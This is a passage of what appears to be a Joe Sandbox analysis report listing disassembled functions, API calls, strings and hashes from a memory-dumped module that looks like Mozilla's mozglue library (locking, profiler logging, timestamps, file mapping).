GetCurrentThreadId.KERNEL32 ref: 6C52D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D52A
GetCurrentThreadId.KERNEL32 ref: 6C52D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D55F
free.MOZGLUE(00000000), ref: 6C52D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C52D5D3
GetCurrentThreadId.KERNEL32 ref: 6C52D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D652
GetCurrentThreadId.KERNEL32 ref: 6C52D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D6A2

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: e601c92e9fe3f35f134f354ec6b9a79d4e82a6ed650940fe6fc3e3774757ca72
Instruction ID: 69f038ba679c794bb081c930b888cd97b4f0bc76348e35c3014c58d019c7716f
Opcode Fuzzy Hash: e601c92e9fe3f35f134f354ec6b9a79d4e82a6ed650940fe6fc3e3774757ca72
Instruction Fuzzy Hash: CA519A71A04705DFC704DF35C888A9ABBF4FF89318F418A2EE84A87751EB34A845CB95

Function 6C4D1E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E784), ref: 6C4D1EC1
LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4D1EE1
EnterCriticalSection.KERNEL32(6C55E744), ref: 6C4D1F38
LeaveCriticalSection.KERNEL32(6C55E744), ref: 6C4D1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C4D1F83
LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4D1FC0
EnterCriticalSection.KERNEL32(6C55E784), ref: 6C4D1FE2
LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4D1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4D2019

Strings

DUl, xrefs: 6C4D1F56
DUl, xrefs: 6C4D1F32
\Ul, xrefs: 6C4D1F3E
MOZ_CRASH(), xrefs: 6C4D2000

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: DUl$DUl$MOZ_CRASH()$\Ul
API String ID: 2055633661-2068375349
Opcode ID: a6914839e1b2a54c82352d206214396283bb29b3b4aaa1781c2957edc58b1ff1
Instruction ID: d366c1acbd2f46e2021185ea03c973e8368adda1a51b709d76b7704d6962875d
Opcode Fuzzy Hash: a6914839e1b2a54c82352d206214396283bb29b3b4aaa1781c2957edc58b1ff1
Instruction Fuzzy Hash: C541D471B043558FDF01EFA8CC98F6A36B5EB4A318F46012AED05D7741DBB5A8048BD6

Function 6C4F5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C4F56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4F56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C4F56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C4F5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C4F57BC
GetTickCount64.KERNEL32 ref: 6C4F58CB
EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4F58F3
__aulldiv.LIBCMT ref: 6C4F5945
LeaveCriticalSection.KERNEL32(6C55F688), ref: 6C4F59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C55F638,?,?,?,?), ref: 6C4F59E9

Strings

MOZ_APP_RESTART, xrefs: 6C4F56CC

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 59a8252c102372999f75276bb9520fd4b900e7e7d3d9b84e92812bd4e93fdc58
Instruction ID: 1f81bec8ea9434231b4946615ded6c2377a8b8f80fa253094258920f316f5e88
Opcode Fuzzy Hash: 59a8252c102372999f75276bb9520fd4b900e7e7d3d9b84e92812bd4e93fdc58
Instruction Fuzzy Hash: 6FC17E71A097409FD705CF28C840A6ABBF1BFCA714F568B1DE8D497760D730A986CB86

Function 6C51EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51EC8C

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

GetCurrentThreadId.KERNEL32 ref: 6C51ECA1
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C51ECC5
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C51ED19
CloseHandle.KERNEL32(?), ref: 6C51ED28
free.MOZGLUE(00000000), ref: 6C51ED2F
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C51EC94

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 8d584ac1419166d3ffa576f6ed290dddd7e0ffcdd65c59bab34e863e45445874
Instruction ID: 44e81e904be07cdde344a140e5e76e265843210b56465f102cc368b85304310c
Opcode Fuzzy Hash: 8d584ac1419166d3ffa576f6ed290dddd7e0ffcdd65c59bab34e863e45445874
Instruction Fuzzy Hash: 3721B175604104EBEB01AF24DC0CAAA7779EF8626CF954215F81897F40DB729C15CBA5

Function 6C518ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C4DEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4DEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C51B392,?,?,00000001), ref: 6C5191F4

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

Strings

data, xrefs: 6C5190E8
stack-chart, xrefs: 6C5190B2
name, xrefs: 6C518F16
marker-chart, xrefs: 6C51905E
timeline-fileio, xrefs: 6C5190A4
timeline-ipc, xrefs: 6C519096
marker-table, xrefs: 6C51906C
timeline-memory, xrefs: 6C519088
timeline-overview, xrefs: 6C51907A

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: f13f2b72f3b2805de5c4e6f1c9e768d16557aa677f191db6246ecca76af9e6a5
Instruction ID: 2a8c5b8f0021382e123008cf993b05bec37f93392e3b8ce5098ed5b4819074d7
Opcode Fuzzy Hash: f13f2b72f3b2805de5c4e6f1c9e768d16557aa677f191db6246ecca76af9e6a5
Instruction Fuzzy Hash: 50B1E2B0A042099BEF04DF98CC95BEEBBF5AF85318F504529D401ABF80D731A944CBD1

Function 6C4FC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C4FC5A3
WideCharToMultiByte.KERNEL32 ref: 6C4FC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C4FC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C4FCA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C4FCA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4FCAA5

Strings

0, xrefs: 6C4FD30A
(null), xrefs: 6C4FC596

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: f3ed80561efe086f2c51d09dd8ec525b9469132c6d77e2ac21c38cd79e076588
Instruction ID: 131f59af8c2609ce3024bce7f5502e95c97f38b17f1fce5291f6c55dfb3931be
Opcode Fuzzy Hash: f3ed80561efe086f2c51d09dd8ec525b9469132c6d77e2ac21c38cd79e076588
Instruction Fuzzy Hash: A9A1BD306083428FDB10DF28C944F5ABBF1AFC9759F09892DE9A997751D731E806CB82

Function 6C4FC769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C4FC784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4FC801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C4FC83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C4FC891

Strings

INF, xrefs: 6C4FC794
nan, xrefs: 6C4FC7A8
inf, xrefs: 6C4FC78F
NAN, xrefs: 6C4FC7AD

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: b92479472dce99f01f459b4d0fa9c24a4c46bd12c69a98eecf2c9d6c93e0a88e
Instruction ID: bd1afa378524406d481d46e2dc63b2f4ebfe15de956aa8bf15f6c3740a089084
Opcode Fuzzy Hash: b92479472dce99f01f459b4d0fa9c24a4c46bd12c69a98eecf2c9d6c93e0a88e
Instruction Fuzzy Hash: 3C5181705087448BD710EF2CC581E9AFBF0BFCA309F418A2DE9E597651E770D98A8B42

Function 6C4D3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C4D3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C4D34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C4D34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C4D350E
__Init_thread_footer.LIBCMT ref: 6C4D3522
__aulldiv.LIBCMT ref: 6C4D3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C4D357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C4D3592

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

Strings

kernel32.dll, xrefs: 6C4D34EA
GetSystemTimePreciseAsFileTime, xrefs: 6C4D3508

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 799b978edc0cf77181387f26a8050722c0883f49f570a1ad621598f92da98376
Instruction ID: b9cf08172a744ab68f737a684ea1234d6ef50cd573da6dd9939a81aab9a2acc9
Opcode Fuzzy Hash: 799b978edc0cf77181387f26a8050722c0883f49f570a1ad621598f92da98376
Instruction Fuzzy Hash: ED31B371B001059BDF04EFB9CC68FAA77B5FB45319F96011AE501E37A0EB70A904CB64

Function 6C4D4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C514843,?), ref: 6C4D45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C514843,?), ref: 6C4D468A
free.MOZGLUE(?,?,?,?,?,?,6C514843,?), ref: 6C4D46C9
free.MOZGLUE(?), ref: 6C4D46EF
free.MOZGLUE(?), ref: 6C4D4712
free.MOZGLUE(?), ref: 6C4D4735
free.MOZGLUE(?), ref: 6C4D4758
free.MOZGLUE(?), ref: 6C4D477B
free.MOZGLUE(?), ref: 6C4D479E

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 504ae6e55fbd2be760361cd779713ed0b1e8e3c3a838583fce5668ca5c485f47
Instruction ID: ba781a238f04e8b5902a1b8fcc0f45dd04184d9909935983b201dc918463cd96
Opcode Fuzzy Hash: 504ae6e55fbd2be760361cd779713ed0b1e8e3c3a838583fce5668ca5c485f47
Instruction Fuzzy Hash: EDB11775A001508FDB18EF3CC8B4F6D77A1AF413A8F1A562DE416DBB82D731E8808B91

Function 6C53AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C53AC52
CreateFileMappingW.KERNEL32 ref: 6C53AC7D
GetSystemInfo.KERNEL32 ref: 6C53AC98
MapViewOfFile.KERNEL32 ref: 6C53ACB0
GetSystemInfo.KERNEL32 ref: 6C53ACCD
MapViewOfFile.KERNEL32 ref: 6C53AD05
UnmapViewOfFile.KERNEL32 ref: 6C53AD1C
CloseHandle.KERNEL32 ref: 6C53AD28
UnmapViewOfFile.KERNEL32 ref: 6C53AD37
CloseHandle.KERNEL32 ref: 6C53AD43
CloseHandle.KERNEL32 ref: 6C53AD67

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 1e58d4e6346bc806b9a37e5746de0b1fefaf0cd5a2d67b7fc2521e1a9f451bb0
Instruction ID: 96a762c3a6b7635d80850f5bfa6f412484ec1282346e86813fa23670db7ce617
Opcode Fuzzy Hash: 1e58d4e6346bc806b9a37e5746de0b1fefaf0cd5a2d67b7fc2521e1a9f451bb0
Instruction Fuzzy Hash: 853144B1A047048FDB00FFB8D94C65EBBF0BF85305F46492DE98997251EB709458CB86

Function 6C4E9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C4E9675
__Init_thread_footer.LIBCMT ref: 6C4E9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C4E96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C4E9707
__Init_thread_footer.LIBCMT ref: 6C4E971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C4E9773

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C4E97B7
FreeLibrary.KERNEL32 ref: 6C4E97D0
FreeLibrary.KERNEL32 ref: 6C4E97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C4E9824

Strings

ntdll.dll, xrefs: 6C4E96E3
NtMapViewOfSection, xrefs: 6C4E9701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C4E9670
MapViewOfFileNuma2, xrefs: 6C4E97B1

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 25565e0f02e5ae32d316c4b5fa2248836ecf079e0956c768f4dcf9f7ecea0fbf
Instruction ID: f25ef42ea2984c29d891bc9868870e02fe7f54732de65fb7ef7fb8c467e77843
Opcode Fuzzy Hash: 25565e0f02e5ae32d316c4b5fa2248836ecf079e0956c768f4dcf9f7ecea0fbf
Instruction Fuzzy Hash: 0B4191B1B10205DFDF00DFA5DC84E9A77B4FB49316F924229ED1697780D731A818CBA5

Function 6C520000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C520039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C520041
GetCurrentThreadId.KERNEL32 ref: 6C520075
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C520082
moz_xmalloc.MOZGLUE(00000048), ref: 6C520090
free.MOZGLUE(?), ref: 6C520104
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C52011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C52005B

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: 7152c6e9376a7c8ed7b1eb0e7f3a8c309ec78aeca1de729a4fa2e488f3b3777f
Instruction ID: 16ba300285b9a2ebbc1a860a3f81da1aeb88c992c9ab822fd0fca604534d1208
Opcode Fuzzy Hash: 7152c6e9376a7c8ed7b1eb0e7f3a8c309ec78aeca1de729a4fa2e488f3b3777f
Instruction Fuzzy Hash: 40419CB5A01244DFCB10DF24CC44A9ABBF1FF89318F814A1EED5A93B80D731A819CB95

Function 6C4E7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4E7EA7
malloc.MOZGLUE(00000001), ref: 6C4E7EB3

Part of subcall function 6C4ECAB0: EnterCriticalSection.KERNEL32(?), ref: 6C4ECB49
Part of subcall function 6C4ECAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C4ECBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C4E7EC4
mozalloc_abort.MOZGLUE(?), ref: 6C4E7F19
malloc.MOZGLUE(?), ref: 6C4E7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4E7F4D

Strings

d, xrefs: 6C4E7F89

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
